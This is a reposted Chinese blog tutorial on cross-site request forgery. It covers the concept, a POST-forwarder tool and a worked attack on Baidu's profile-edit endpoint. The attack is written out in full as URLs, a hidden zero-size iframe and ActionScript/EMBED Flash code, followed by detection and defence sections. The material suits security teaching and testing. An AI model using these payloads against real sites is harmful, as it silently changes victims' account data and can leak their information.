1. 程式人生 > >轉-CSRF——攻擊與防禦

轉-CSRF——攻擊與防禦

0x01 什麼是CSRF攻擊

    CSRF是Cross Site Request Forgery的縮寫(也縮寫為XSRF),直譯過來就是跨站請求偽造的意思,也就是在使用者會話下對某個CGI做一些GET/POST的事情——這些事情使用者未必知道和願意做,你可以把它想做HTTP會話劫持。
    網站是通過cookie來識別使用者的,當用戶成功進行身份驗證之後瀏覽器就會得到一個標識其身份的cookie,只要不關閉瀏覽器或者退出登入,以後訪問這個網站會帶上這個cookie。如果這期間瀏覽器被人控制著請求了這個網站的url,可能就會執行一些使用者不想做的功能(比如修改個人資料)。因為這個不是使用者真正想發出的請求,這就是所謂的請求偽造;呵呵,因為這些請求也是可以從第三方網站提交的,所以字首跨站二字。
    舉個簡單的例子,某個bbs可以貼圖,在貼圖的URL中寫入退出登陸的連結,當用戶閱讀這個帖子之後就會logout了,因為使用者以自己的身份訪問了退出登陸連結,在使用者看來是帖子裡面有一張有問題的“圖片”,而不是想要退出,但程式就會認為是使用者要求退出登陸而銷燬其會話。這就是傳說中的CSRF攻擊了。
    不要小看CSRF哦,記得以前L-Blog就存在一個CSRF漏洞(當時還不知道這個概念:p),它新增管理員是這樣的一個連結:http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,我們只要構造好ID想辦法讓管理員訪問到這個URL就可以了;還有Google那個CSRF漏洞[1],將導致郵件洩漏;另外,不要以為只有XSS才能爆發蠕蟲,只要條件合適,CSRF同樣是有可能的。


0x02 威脅來自哪裡

    貼圖只是GET的方式,很多時候我們需要偽造POST的請求。一個辦法是利用跨站,當然目標站點可能不存在跨站,這個時候我們可以從第三方網站發動攻擊。
    比如我要攻擊一個存在問題的blog,那就先去目標blog留言,留下一個網址,誘其主人點選過來(這個就要看你的忽悠本事咯:p),然後構造個HTML表單提交些資料過去。
    多視窗瀏覽器就幫了一點忙。
    多視窗瀏覽器(firefox、遨遊、MyIE……)便捷的同時也帶來了一些問題,因為多視窗瀏覽器新開的視窗是具有當前所有會話的。即我用IE登陸了我的Blog,然後我想看新聞了,又執行一個IE程序,這個時候兩個IE視窗的會話是彼此獨立的,從看新聞的IE傳送請求到Blog不會有我登入的cookie;但是多視窗瀏覽器永遠都只有一個程序,各視窗的會話是通用的,即看新聞的視窗發請求到Blog是會帶上我在blog登入的cookie。
    想一想,當我們用滑鼠在Blog/BBS/WebMail點選別人留下的連結的時候,說不定一場精心準備的CSRF攻擊正等著我們。


0x03 發起CSRF攻擊

    從第三方站點利用POST發動CSRF攻擊就是利用Javascript自動提交表單到目標CGI。每次都去寫表單不是很方便,輔助進行的工具有XSS POST Forwarder[2]和CSRF Redirector[3],這裡我也寫了相應的ASP版本[4]。使用的時候只要把提交的url和引數傳給它,它就會自動POST到目標。
    比如我要提交一些資料到www.0x54.org/a.asp:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp&a=123&b=321&c=%26%23%25(這裡要自己考慮URL編碼哦)
    不過實際攻擊的時候你得動動腦子:如何才能把使用者誘騙到我們的網頁來。


0x04 一個例項

    因為CSRF不如XSS那麼引人注目,所以現在找一個存在CSRF的Web應用程式還是很容易的。這次我們的目標是百度,just for test。
    隨便你用什麼辦法,讓一個已登陸百度的使用者訪問一下這個URL:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&[email protected]&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B
    呵呵,然後看看那人個人資料是不是被修改了。這裡有點鬱悶,當那人訪問URL後瀏覽器會返回到資料修改成功的頁面,我們就被發現了。那麼,有沒有辦法不讓瀏覽器重新整理呢?
    有。
    一個辦法是用iframe,構造這樣的HTML程式碼:<iframe width=0 height=0 src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&[email protected]&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B"></iframe>
    還有一個辦法就是用flash了。


0x05 CSRF With Flash

    flash是可以提交資料到任意URL的,開啟盜版的 Adobe flash CS 3 Professional,新建一個 flash檔案(ActionScript 3.0) ,在預設的圖層上點右鍵選動作,然後把以下程式碼新增進去:

       import flash.net.URLRequest;
       import flash.system.Security;
       var url = new URLRequest("http://www.0x54.org/lake2");
       var lake = new URLVariables();
       lake = "a=lake2";
       url.method = "POST";
       url.data = lake;
       sendToURL(url);
       stop();

    匯出為swf檔案,訪問之,抓包看看效果咯:http://www.0x54.org/lake2/flash/test1.html
    每次都去寫as和編譯swf很麻煩的,根據CSRF Redirector的思路我寫了一個類似的flash程式[5],再拿百度來試試效果,訪問帶如下HTML的網頁:<EMBED src="http://www.0x54.org/lake2/flash/flash_hacking.swf?f=1&t=http://passport.baidu.com/ucommitbas&d=u_jump_url%3D%26sex%3D1%26email%[email protected]%26sdv%3D%26zodiac%3D0%26birth_year%3D0%26birth_month%3D0%26birth_day%3D0%26blood%3D0%26bs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs2%3D%25CE%25DE%26txt_bs%3D%26birth_site%3D%253B%253B%26b%253Drs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs2%3D%25CE%25DE%26txt_rs%3D%26reside_site%3D%253B%253B"></EMBED>(還是要注意URL二次編碼)
    這裡不要只侷限於發請求,其實flash是可以得到返回內容的,要是返回內容有敏感資訊的話,就可以讀出來傳送到我們控制的Web去。當然,這個得看目標站點是否讓flash跨域取內容了。


0x06 檢測CSRF

    檢測CSRF漏洞都是體力活了,先抓取一個正常請求的資料包,然後去掉referer欄位再重新提交,如果還是有效那基本上就存在問題了。當然引數可能含有不能預測的引數(比如userid什麼的),這個時候就看這個不可預測的引數能不能通過其他手段比如flash拿到,如果能,呵呵,則還是存在問題。還有就是試著改post為get,因為有些程式是不區分get/post的。
    應用程式的功能和返回形式都各不相同,所以想自動化測試CSRF漏洞還是有點困難的,OWASP上面有一個叫做CSRFTester的工具不妨拿來一試[6]


0x07 防禦CSRF

    在Web應用程式側防禦CSRF漏洞,一般都是利用referer、token或者驗證碼,Nexus的文章[7]已經寫的很全面了;superhei也有提出bypass的思路[8],請參考他們的文章。
    還有一個思路是在客戶端防禦,貌似可以做成一個類似HTTP Watch的軟體,掛在瀏覽器上攔截或者過濾跨域的cookie。


0x08 總結

    希望本文對您有幫助,同時也歡迎各位同我交流:[email protected]

 

[ Reference ]

[1] Google GMail E-mail Hijack Technique, http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
[2] XSS POST Forwarder, http://whiteacid.org/misc/xss_post_forwarder.php
[3] CSRF Redirector, http://shiflett.org/blog/2007/jul/csrf-redirector
[4] ASP的XSS POST Forwarder下載(附送一個HTML版), http://www.0x54.org/lake2/xss_post_forwarder.zip
[5] 原始碼和編譯好的swf檔案下載:http://www.0x54.org/lake2/flash/flash_hacking.rar
[6] CSRFTester, http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project
[7] Preventing CSRF, http://www.playhack.net/view.php?id=31. 漢化版, http://www.hanguofeng.cn/archives/security/preventing-csrf
[8] Bypass Preventing CSRF, http://www.xfocus.net/articles/200801/964.html